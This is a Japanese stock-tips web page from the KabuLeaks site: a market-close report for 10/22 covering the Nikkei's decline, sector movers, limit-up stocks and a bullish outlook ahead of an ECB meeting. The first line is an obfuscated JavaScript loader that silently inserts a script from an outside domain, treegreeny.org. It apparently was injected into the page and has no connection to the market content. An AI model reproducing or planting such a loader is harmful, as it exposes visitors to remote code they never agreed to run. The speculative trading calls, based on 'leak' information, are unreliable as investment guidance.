;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/22 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【10/22 大引け】

本日の日経平均株価は118円安と3日ぶり反落。後場は円相場が強含んだことなどから再び売り圧力が強まり再度マイナス転換。その後も下げ幅を広げ14時前には、一時下げ幅を178円まで広げ、1万8400円台を割り込む場面もあったが終盤にかけやや持ち直した。前日ようやく突破した1万8,400円台が新たな下値サポートして意識された可能性が高いかと思われる。業種別では、食料品 、鉄鋼、水産・農林業、倉庫運輸関連が値上がり率上位に。一方、医薬品、建設業、精密機器、その他金融業などが値下がり率上位となった。

個別では、東証1部への指定(10/28付)や、第2四半期の上方修正、株主優待制度の導入の【8365】富山銀行、業績予想の上方修正と増配を好感された【3043】モジュレ、マンションが施工不良で傾いている問題を受け、マンションなどの検査需要が高まるとの思惑から【4748】構造計画研究所などがストップ高で引けたほか、訪日外国人向け情報サイト「Cozy Japan」とのシステム連携を開始したと発表した【2477】比較.com、その他、【9624】長大、【6045】レントラックスなどが後場一段高となった。

今晩控えるECB理事会、追加緩和が出てくればポジティブサプライズとなるが、今回はその可能性は薄く、ドラギ総裁の会見が海外株式市場に安心感をもたらすかどうかが焦点となるとの見方が強い。特に何もなく通過となれば来週の日銀会合へ向け追加緩和期待から堅調に推移する線が濃厚。例えECB理事会が失望売りに繋がる何かを発表があったとしても、これもまた来週控える会合での緩和期待があるだけに押し目買いの絶好の機会になる可能性が高そうだ。目先は強気目線は継続で!